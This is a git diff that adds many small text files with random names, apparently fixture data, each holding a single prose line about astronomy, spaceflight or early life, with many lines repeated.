diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_iaufzdmdyugicmkpj.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_iaufzdmdyugicmkpj.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_iaufzdmdyugicmkpj.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_kfeoruyttsfrr.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_kfeoruyttsfrr.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_kfeoruyttsfrr.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_kiznolwuyjntckzkucrdfgjr.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_kiznolwuyjntckzkucrdfgjr.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_kiznolwuyjntckzkucrdfgjr.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_mdpnzvkjskplzfqjuk.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_mdpnzvkjskplzfqjuk.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_mdpnzvkjskplzfqjuk.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_mgxrdwwshcnsspqqwhnvseyp.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_mgxrdwwshcnsspqqwhnvseyp.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_mgxrdwwshcnsspqqwhnvseyp.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_nihiwobkt.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_nihiwobkt.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_nihiwobkt.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_nrxbbytohjynjxxsthgwr.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_nrxbbytohjynjxxsthgwr.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_nrxbbytohjynjxxsthgwr.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_nusxyolsckdc.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_nusxyolsckdc.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_nusxyolsckdc.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_skmwvgnm.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_skmwvgnm.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_skmwvgnm.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_smhkkxyhnjo.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_smhkkxyhnjo.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_smhkkxyhnjo.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_vlekgqdgeud.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_vlekgqdgeud.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_vlekgqdgeud.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_xsfrbrfiqwrzsm.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_xsfrbrfiqwrzsm.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_xsfrbrfiqwrzsm.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_yccrgrcsktlczxghoe.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_yccrgrcsktlczxghoe.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_yccrgrcsktlczxghoe.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_zdlbcpwevu.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_zdlbcpwevu.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_zdlbcpwevu.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_zgzznptwtgtzgocbwm.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_zgzznptwtgtzgocbwm.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_zgzznptwtgtzgocbwm.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/fdrlfdra.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/fdrlfdra.txt
new file mode 100644
index 0000000..e8bf4e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/fdrlfdra.txt
@@ -0,0 +1 @@
+obliged to acknowledge, that for the most part the word ‘gods’ has been used to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_btsccfsikcfmrepxk.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_btsccfsikcfmrepxk.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_btsccfsikcfmrepxk.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_buhbowvmbzf.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_buhbowvmbzf.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_buhbowvmbzf.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_dqjrthcwdanwnvcvdz.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_dqjrthcwdanwnvcvdz.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_dqjrthcwdanwnvcvdz.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_hutoxdfdjerkceivdi.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_hutoxdfdjerkceivdi.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_hutoxdfdjerkceivdi.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_krplvmyzqzoysamkln.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_krplvmyzqzoysamkln.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_krplvmyzqzoysamkln.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_njjigplrbvzbgnwseecfwq.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_njjigplrbvzbgnwseecfwq.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_njjigplrbvzbgnwseecfwq.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_veevyolnsvwmrvulz.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_veevyolnsvwmrvulz.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_veevyolnsvwmrvulz.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_wcbecajpzkgshmzcpmtnle.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_wcbecajpzkgshmzcpmtnle.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_wcbecajpzkgshmzcpmtnle.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_xhibcudmmkyatihh.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_xhibcudmmkyatihh.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_xhibcudmmkyatihh.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_ykenrhelz.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_ykenrhelz.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_ykenrhelz.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_yxarxmngjsx.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_yxarxmngjsx.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_yxarxmngjsx.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_yyigonucvx.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_yyigonucvx.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_yyigonucvx.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_zhflmixrxmumnvcflmpu.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_zhflmixrxmumnvcflmpu.txt
new file mode 100644
index 0000000..6a18147
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/file_zhflmixrxmumnvcflmpu.txt
@@ -0,0 +1 @@
+during which the spacecraft would avoid dangerously low temperatures would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/gcugodbgmskmqcyuo.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/gcugodbgmskmqcyuo.txt
new file mode 100644
index 0000000..e58cc99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/gcugodbgmskmqcyuo.txt
@@ -0,0 +1 @@
+role. There was once a time before life, when the Earth was barren and utterly desolate. Our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/ghibexxtnnipkhqrkfju.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/ghibexxtnnipkhqrkfju.txt
new file mode 100644
index 0000000..a54834d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/ghibexxtnnipkhqrkfju.txt
@@ -0,0 +1 @@
+push rocks, dig and acquire soil samples; a kind of finger that it puts up to measure wind
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/grhjrjaeknmcilbt.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/grhjrjaeknmcilbt.txt
new file mode 100644
index 0000000..841c42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/grhjrjaeknmcilbt.txt
@@ -0,0 +1 @@
+Fortunately, there was a technique that enabled us to determine the roughness or softness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/htxanhbdlszfuo.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/htxanhbdlszfuo.txt
new file mode 100644
index 0000000..1797204
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/htxanhbdlszfuo.txt
@@ -0,0 +1 @@
+one of the new moons of Saturn was discovered in just this way: Pioneer 11 found an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/jtjbryqlitlsfoaoztj.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/jtjbryqlitlsfoaoztj.txt
new file mode 100644
index 0000000..a731ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/jtjbryqlitlsfoaoztj.txt
@@ -0,0 +1 @@
+scoops up the diffuse matter, mostly hydrogen atoms, that floats between the stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/monzqgmdjarkyiroxkcy.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/monzqgmdjarkyiroxkcy.txt
new file mode 100644
index 0000000..ed8ad72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/monzqgmdjarkyiroxkcy.txt
@@ -0,0 +1 @@
+the lamps, was far more than 10,000 megatons - but with the destruction concentrated
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/oljbyxwfuinjfbeqahagjk.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/oljbyxwfuinjfbeqahagjk.txt
new file mode 100644
index 0000000..85d50b6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/oljbyxwfuinjfbeqahagjk.txt
@@ -0,0 +1 @@
+stimulated a new perspective on European society, forcing a reconsideration of that insular
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/qrouwgswhpiprpqzwau.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/qrouwgswhpiprpqzwau.txt
new file mode 100644
index 0000000..412752e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/qrouwgswhpiprpqzwau.txt
@@ -0,0 +1 @@
+But we can experience it only once. By then it will be too late to reformulate the statistics.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/uzaqvrnnxordys.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/uzaqvrnnxordys.txt
new file mode 100644
index 0000000..49bbf4e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/uzaqvrnnxordys.txt
@@ -0,0 +1 @@
+My colleague William Newman and I have calculated that if a million years ago a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/vcvrybyvnovifz.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/vcvrybyvnovifz.txt
new file mode 100644
index 0000000..ad0d567
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/vcvrybyvnovifz.txt
@@ -0,0 +1 @@
+and this makes us wonder whether civilizations like ours always rush implacably, headlong,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/ydtnyaxwdykwwoxofq.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/ydtnyaxwdykwwoxofq.txt
new file mode 100644
index 0000000..124e305
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/folder_kaupufkzjh/ydtnyaxwdykwwoxofq.txt
@@ -0,0 +1 @@
+mind troubles to fathom the secrets of the heavens . . . The diversity of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_axuvevelbontnugh.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_axuvevelbontnugh.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_axuvevelbontnugh.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_bsdslusxnwjn.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_bsdslusxnwjn.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_bsdslusxnwjn.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_fmkvjtjbsklg.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_fmkvjtjbsklg.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_fmkvjtjbsklg.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_fymqpzlezxiwfrwfm.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_fymqpzlezxiwfrwfm.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_fymqpzlezxiwfrwfm.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_hruxjjdrsmfrtjyrguo.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_hruxjjdrsmfrtjyrguo.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_hruxjjdrsmfrtjyrguo.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_iivrwvoufsvcgbxzxhom.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_iivrwvoufsvcgbxzxhom.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_iivrwvoufsvcgbxzxhom.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_jjxzmndvkiosqhqyxhmh.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_jjxzmndvkiosqhqyxhmh.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_jjxzmndvkiosqhqyxhmh.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_msdfiwzrczlzkrfoqcxphb.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_msdfiwzrczlzkrfoqcxphb.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_msdfiwzrczlzkrfoqcxphb.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_nqjzbxed.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_nqjzbxed.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_nqjzbxed.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_rluyfikacdxahqkfe.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_rluyfikacdxahqkfe.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_rluyfikacdxahqkfe.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_rortjutrszmnlxmwsnwfqj.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_rortjutrszmnlxmwsnwfqj.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_rortjutrszmnlxmwsnwfqj.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
